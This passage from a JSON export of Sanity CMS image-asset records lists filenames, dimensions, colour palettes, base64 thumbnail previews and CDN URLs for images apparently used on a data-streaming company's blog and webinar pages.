":6.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34bc94","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-discover-panel.png","path":"images/sczeoy4w/production/ad87bf32d0cbcc36841ed1c34164979b6ff5bb40-2000x1098.png","sha1hash":"ad87bf32d0cbcc36841ed1c34164979b6ff5bb40","size":138575,"title":null,"uploadId":"RgI7PU8kyK8kvgdnIksfyjilz99Cz3KU","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad87bf32d0cbcc36841ed1c34164979b6ff5bb40-2000x1098.png"} {"_createdAt":"2024-03-05T16:07:30Z","_id":"image-ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d-3840x2160-jpg","_rev":"wlmKp1TUxaN4Rr151Ie2Iu","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:07:30Z","assetId":"ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPDvl|afIAxvWB_NbJM{ogj[xVflozayj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":2160,"width":3840},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAgf/xAAjEAACAgIBAgcAAAAAAAAAAAABAgMEABEFFDEGExYiM0Fh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQD/xAAcEQACAgIDAAAAAAAAAAAAAAAAAQIDEhMxQVH/2gAMAwEAAhEDEQA/AItDxE3VRo1xHhh+SJz319DLvqziLk0wr16olgUhmK6C6G97zm0PH1Wuec0IMhOy2zjlWGOOveCIAHPu/cFcnyhdRi3z3WTGcM0gfs2GKV4Y0iVVUBR2GGWyHcRwfp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303648","foreground":"#fff","population":3.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#644424","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#758083","foreground":"#fff","population":5.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3b4be","foreground":"#000","population":3.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d18499","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#758083","foreground":"#fff","population":5.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d25e7b","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"4k Timeline.00_01_31_08.Still005.jpg","path":"images/sczeoy4w/production/ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d-3840x2160.jpg","sha1hash":"ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d","size":3357030,"uploadId":"Wi9dnxr0fphRM9TFQBc5Y68UhKFDMX1R","url":"https://cdn.sanity.io/images/sczeoy4w/production/ad8c2a80c8c649b2a1d60d4a8ec0770203929d0d-3840x2160.jpg"} {"_createdAt":"2022-06-30T19:58:38Z","_id":"image-adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43-png","_rev":"cEPH2uRN58AU2lp9QO7r3J","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:20Z","assetId":"adb0690d08c8338373f3cdacbdb43ab54f1d1d60","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbTP6itllTtllTvgf*bbj[bbdBjFkWe.jZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.186046511627907,"height":43,"width":94},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABxElEQVQokT3P3U9ScQDG8fPfmRxeziGKQUvggCHIeUNI7BwOSSoLRHRqbXZRyxUXtDUvmltd1UV/QDe9rEzcNFfO7poyf8/TYNn2uXhuvhePxME59z6yt4VWCUs6FoyheybqJudN3jXpmaxadC06I3csNmp8tcPjI4m/T/Cmh3oWpgJDRUHBtIK8gikFWQXZMCdVplVqKlMqkyoTYWpRLnp8/07i8QGedWCHkBuDFUY5Bvs6CipyCvJhGDHkryGjjPowEyHG/Yz6aGbwoivxaB/bLdhB6DI8jZ1ZtspY1LlgoFHk8hyXSqzp9HTWbN7OMn2VcZmGhu6Ty7gYhCHDS7FVZNPGfZsrFa66XPPYqXLZYXOOTXf4fzLC+DjNFLqPJf7o43kbpSD0MRQVlCOYiaAcReUmKhOoJFBJYjaJcgIzSRZiTAV44wotDb2nEk9/Yncb8xOwxmH6YPhQ8KEgY1pGTsaUfyjrx60AMgGkA0j5qYVQL+Hta4nnZ/j6Qew8ElueeOiIB47YdMWGI9YdseaI1ZGOIzquWHFF2xXtKjYa2H2JwwOJAM/+iF+HF/0vF/ufhr5//mdv5P+4JPrfcHrCweAvZdxwOgoRHCYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#961c02","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#821802","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6444","foreground":"#fff","population":7.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc4b4","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5f54","foreground":"#fff","population":7.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#961c02","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6444","foreground":"#fff","population":7.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43.png","path":"images/sczeoy4w/production/adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43.png","sha1hash":"adb0690d08c8338373f3cdacbdb43ab54f1d1d60","size":2095,"uploadId":"aIAKCngGwxuzFVc62t5JlQ3p4Q22LeSm","url":"https://cdn.sanity.io/images/sczeoy4w/production/adb0690d08c8338373f3cdacbdb43ab54f1d1d60-94x43.png"} {"_createdAt":"2023-02-22T14:18:34Z","_id":"image-ae0d544078115da811da8136769827a6d8e7c35a-1280x720-jpg","_rev":"wQDUBFZXucgcNowEoV4HEh","_type":"sanity.imageAsset","_updatedAt":"2023-02-22T14:18:34Z","assetId":"ae0d544078115da811da8136769827a6d8e7c35a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQl^9.TkCIA?HozRPnhtSWC%$MdbIxuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAj/xAAhEAACAgICAgMBAAAAAAAAAAABAgMEAAURIQYxIkJRcf/EABUBAQEAAAAAAAAAAAAAAAAAAAIA/8QAGxEBAAIDAQEAAAAAAAAAAAAAAQACAxIhEVH/2gAMAwEAAhEDEQA/AOjDWstM5EzopPXeTflm/bRoIHsOC3yaU/X8GWUY4Zv7mS/rad4kXK0cwI9OOcspbw1+xUai7EV+I7K3tNJFakILOT2R7GGPq8MVeFYoEWONRwFUcAYYK4LB2zFbILwn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#423f39","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#182b47","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97306","foreground":"#fff","population":2.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc2a8","foreground":"#000","population":1.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9e158","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#99845c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97306","foreground":"#fff","population":2.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"webinar-wait-for-buses-not-insights-meta-preview.jpg","path":"images/sczeoy4w/production/ae0d544078115da811da8136769827a6d8e7c35a-1280x720.jpg","sha1hash":"ae0d544078115da811da8136769827a6d8e7c35a","size":57594,"uploadId":"BPFkaoNMRecCEmbk0OHyReTbO8Qi8tSo","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae0d544078115da811da8136769827a6d8e7c35a-1280x720.jpg"} {"_createdAt":"2024-08-26T04:29:07Z","_id":"image-ae1bcbfffd44e248968a6a4add514340e7f855cc-720x405-gif","_rev":"vxdiygNMKB9xDhiP9dq2iJ","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T04:29:07Z","assetId":"ae1bcbfffd44e248968a6a4add514340e7f855cc","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M255LP-;s;xukB~q%Mn,s;bYkUkBaMWBWn","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":405,"width":720},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEB//EAB0QAAICAQUAAAAAAAAAAAAAAAABAgMRBAUhM1H/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AxG/dYPiupY8ZPPXqbzKitshABzui31oBIAf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6237","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21431e","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6237","foreground":"#fff","population":0.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a7d5a3","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#658f60","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#56b04e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"long_agent_memory_arch_animated_flow.gif","path":"images/sczeoy4w/production/ae1bcbfffd44e248968a6a4add514340e7f855cc-720x405.gif","sha1hash":"ae1bcbfffd44e248968a6a4add514340e7f855cc","size":1322262,"uploadId":"xRnl1gU3AWg2tmxoM0B0sq8NzpUJnVzP","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae1bcbfffd44e248968a6a4add514340e7f855cc-720x405.gif"} {"_createdAt":"2022-06-15T20:01:43Z","_id":"image-ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhYNO","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:18Z","assetId":"ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHNdg-^+=_^*NN03j]xB%0E3?w9Hj]%14o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACfElEQVQokSWL308SAQDH78+qrdceeuzRfGhqD87KerA2y/ChVq4YudJKc0AKmnNTNCSMHwcH3AH3A+43dxzIAQJyB4dABwe0teHn7fvZ9wNMrjPvXXk3WouwapRVD2IX5pPc0r74yMbdWyPvf02ZXZwXLbLnqlBsQtTFTlB8vBW/ZTq7ueQF1tyS18eQCEfSeYTM7fmY1/vUM2dmzsbPWrnFXc5+xmFsqVjVLupXcrWFZ+urbn5yDZn5lgDITKWI05UElkmzCZx0+RLmA/yhlZn4ws5s8QsOdt2FI4SYK9RSTC4Uw0MJ1gkKH08FJ1QALhVNFkQhleJoNkVS4WjS6Um+3MGmvzMPbML8D+bDfsIXoxOEaP/pWVi2rHx2HnixAFZIS3VAa11RNA2GQhAERWOxQAA89vh33LDNn92GyjtgbvsUtbqiqw7f3PLGnSnTrGnzk93jcEEnYArodDqSJBEEgeEYimLJZBJF8TTNMaIsFmrieTUIk2aHf95ydPfJ6o2JV1OvrG83f72w7D1dcQCddqcsF7KCwPM8NYZlOY7nGJYVs1K5XGF46U+MOgpRpvXD29Nvnpt3jwP49hH0bsMFdK+atTyXoRkMJxEkDsMwjCBhCAoGwUgkimJYEsVImpHLl78j5KJlz34IspkCzeXjOA/0uk21mstK52mKR1EMRVGCIGAYAcGQPxAIBoPhMESSlKI25IoaJ6VMrqw2WmpDq9VUoG/oXb2jtTtqQ6sriqqqzWazriiVSrVYKsmyXCyV64qi672eMejqfb3X7xsDXe9pWhsYD6NvGGM5GI0ZjoaD4fD61O3+7feN0ejfcDQyBsPBYGhcx632f7OGBpYZBuCWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4159","foreground":"#fff","population":4.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#053b85","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4b8aca","foreground":"#fff","population":8.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c9dc","foreground":"#000","population":5.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ed7f3","foreground":"#000","population":0.09,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a78d5b","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4b8aca","foreground":"#fff","population":8.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405.png","path":"images/sczeoy4w/production/ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405.png","sha1hash":"ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff","size":152882,"uploadId":"UXNKPdKYMNXrjkO72UZeldl3ntxmxjJJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405.png"} {"_createdAt":"2022-09-30T15:36:50Z","_id":"image-ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784-png","_rev":"XMqVxILwpPMz4xYxc7pBSt","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:50Z","assetId":"ae3158d89c3454eee1cbb57210afe527b7199714","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4SPX{4TQl^k$k~XHrmln4IA00Mc#l-pVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0672645739910314,"height":1784,"width":3688},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABTElEQVQokSVRyY7UQAzN/38W3NBwAom5NYfpTAOd2r3bEXK69GSpZL/FVdvx5evz29vf2++P+/5x3+9Z7x/75+NZ6sTB3iQqR+NYEuZh7sxCJMy60dv39ePnePzpY865rrLmggG0SCZbI2vknQM0LOI8wz1EncS35+3W9n3UBkhI/KovEAuyLOSFgmJq4XGe5+lxkkRH3369v++Px1Fqqb312ccaEyYgELMoi6bEJcQsouqRRy2Qfdv3vZRaSyul1TbmBKRryvzaMKFqxAKAgJgdc/cMv6kqALbaex9rAdKLquaesJw0dxHB3Igu3WQnOeJEpOMotbbkMiMRACAiAKy1kEhTw16tTO6Z3cyTDID/nsfzKHPmKCLlg8815xxjAGB6mSHiAqA0v7KpbRGBSLX12lr+1krTlZ5pm7fLWVV770cptbVaax+Dhf8DeX0EyIVVtxkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c76a9","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#866e76","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aabdc5","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c8c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#866e76","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8383c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784.png","path":"images/sczeoy4w/production/ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784.png","sha1hash":"ae3158d89c3454eee1cbb57210afe527b7199714","size":354465,"uploadId":"MjwMn9Ytf9yMXD8aBJQQ0hNN4Jg4TMp6","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae3158d89c3454eee1cbb57210afe527b7199714-3688x1784.png"} {"_createdAt":"2023-12-06T17:21:20Z","_id":"image-ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939-png","_rev":"qGO7x5curYKYCZh8YPnpD0","_type":"sanity.imageAsset","_updatedAt":"2023-12-06T17:21:20Z","assetId":"ae4611a54d17bf10c3854184f459c164c0c9d87d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Ss50~p00%gaK~WD%xZRksVIANGnOt7aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.121405750798722,"height":939,"width":1992},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQokX2Si26DMAxF+f/PrFatLAnk5bzDnWzWrVLXRjoCFHzta3uJxsDtO0KIyDmjtYbeuzDGwBgTcz7D9xQJwXkkH5CtR9IWi912aKWhtYG1FkSEnMsvpZzUWn8STdQ2UWsHhYjoHAol1FRRUsViXYDZLHbr4H1AJEJK+YlSWHCIWCoTuXRJHkOQhKeTAwtRRqSMUtkqW/yf0+qB3g+UOlHqAKWEEII4OWNFMIHh3h3HgXeH7zmo9YnWBmIk7LsVZ0RFqhZBtsk9ugvy8xVcJcNV8yDXVeF2+4IxO0JMWDgLU2sTW/fAd1Xy4X9DIKyrFkFtNtFZvI9guA9s41H0FQBXORFjglIblOINcTIcGQqTc0VrvHt/u8a2Hgd1vp8J+ds5j4/rJy6XK5Q2IvgNgfC/LliVkzEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#756f72","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#73101e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#756f72","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4acd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c847c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e65367","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939.png","path":"images/sczeoy4w/production/ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939.png","sha1hash":"ae4611a54d17bf10c3854184f459c164c0c9d87d","size":389554,"uploadId":"0OycAENRWT8CbYNy411fp59ChPbDNyIe","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae4611a54d17bf10c3854184f459c164c0c9d87d-1992x939.png"} {"_createdAt":"2022-06-30T20:00:53Z","_id":"image-ae51182b7dc3348c6f24741634d44ec7d121c76c-816x205-png","_rev":"LKSVNTHAdZDLniZ7u2CsaJ","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:23Z","assetId":"ae51182b7dc3348c6f24741634d44ec7d121c76c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D0CZ6X9?0f000000+@LNrg^P","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9804878048780488,"height":205,"width":816},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABIUlEQVQYlQXBgU6CQAAAUH6m3AqVAxOzVm02W7bSoPAQ7/CA7pSBnIgopinanK0+uveEk4JYklSg1M9EcFoQS6IsAxWAmiyrErioyLWqfKlItWKxci4qYrFSLldLkloGav3qVlCqN5o2GAzG7U6/1dSQZhNI+++uqWP9xcCv1tBwiUaeH43mw1unjSxIoTkyzKHVZ8L1XYt+pOvFLw9W/CP9jg/59LiMdrNgHTg88Sa5n638T4ojZAVxuM0Xf/P4kCY/i9lRaDQ7Hhkn4YqzJGbpOtpn4W4ebpc8j0fLgPDI5dNROqZJ4E2yaLOJ95mfZeHXPNoK940n3MXMcm29h3Tk9hiB1DW9IWIU+8SkuGvjLrIhdiBmlsMgcTXoGcixvH8gqGr2kh4FKQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323a4b","foreground":"#fff","population":2.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#743828","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#323a4b","foreground":"#fff","population":2.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#baa6cf","foreground":"#000","population":2.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8b0b2","foreground":"#000","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6594a8","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4494a4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ae51182b7dc3348c6f24741634d44ec7d121c76c-816x205.png","path":"images/sczeoy4w/production/ae51182b7dc3348c6f24741634d44ec7d121c76c-816x205.png","sha1hash":"ae51182b7dc3348c6f24741634d44ec7d121c76c","size":176022,"uploadId":"z9WlJbuZsN9bVhcDCE0ufASrYn4QeHLQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae51182b7dc3348c6f24741634d44ec7d121c76c-816x205.png"} {"_createdAt":"2023-01-31T10:39:48Z","_id":"image-ae83e1f0efe47243a8a08ee81899144a23385426-2000x913-png","_rev":"6wJ6OxF1mPB2I3zegQJVg7","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:27Z","altText":null,"assetId":"ae83e1f0efe47243a8a08ee81899144a23385426","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.190580503833516,"height":913,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABiklEQVQokTWQS28TQRCE95dz4saNE/8BcUFcg8QhgkgEYZCAvAzJru21d+fZ75lxjDaIVh9aJX2qqu4yaSZlLaUe/2+z2sQqSUU2JCEWtVrqUUsjKZlLQHNZuwSUgEjMrJm1BS6NRQEJSUSLalErVmop1WpVq6KFpSBrx8xEyESUGAMrlmKVWGLKGYCYAQkAkZhFWJYUT6eKalfMCFL03o3ebT04MDYRRVp8mSWE6H0AQFFlkX96WaYucAjhftxfDbubYdwfZgYUFgQiJMjZORdipKW3Mguz1Frb8bjA1SzkeDuP3/bbH4dx4/YEkXMab27X5+frj59263WMEYmJGJGI+Mm1qtoCI8EuxN9zeJjDFBxihGm+fvf+w7MXFy9fbb6uICV+KjJNbhi2fb8kBMCu1iIiIfE402HK3vmcY57C3dvLi+evr96c5c1ueXRrgPTnvl+tvn++/PLz17X3oTNTyOB9muY4T95PDlKWLPNq6s8ewp1vpZ1Op8fHk1lxPgzDpu+Hw2Em4r89i/n5QVk+ugAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333538","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#912439","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333538","foreground":"#fff","population":0.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b1d5","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fe1cf","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#995e7b","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc44b2","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-past-15-minutes.png","path":"images/sczeoy4w/production/ae83e1f0efe47243a8a08ee81899144a23385426-2000x913.png","sha1hash":"ae83e1f0efe47243a8a08ee81899144a23385426","size":125281,"title":null,"uploadId":"1gbwActJ5VPRr1fhRfQFiK1E9qxNgZUF","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae83e1f0efe47243a8a08ee81899144a23385426-2000x913.png"} {"_createdAt":"2022-10-25T12:35:09Z","_id":"image-aebc410326d7cc4dd196350723b6e028ceb029e4-1500x527-png","_rev":"W78nexzvCoIeJ1nQtOT9qf","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T12:35:09Z","assetId":"aebc410326d7cc4dd196350723b6e028ceb029e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9Ss50S#Vs.8xu_NIUW;n%t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.846299810246679,"height":527,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAtElEQVQYlYXQy47DMAhAUf//X2Y1afzCGJtiTDtKJlWkVqMeXYklCGdmIsKH+4uImNnzf4+DU1UiKlCgFESstRIRM885n984EQGAEGKIMaaEWHvfb5Axhs6r+Ur3dM59c2ttC+Fnva23bd18iAlKgYJXiAUrEtWr1vmu0xwzZ4CYDnkHADlDhitEpHYixOp9S0nHcGamquNwjg+qOv+oSq19WXhZrHf39StvT1bm4f3w/iHyC1G2lnXMiPtZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b0d15","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#780b12","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#777777","fore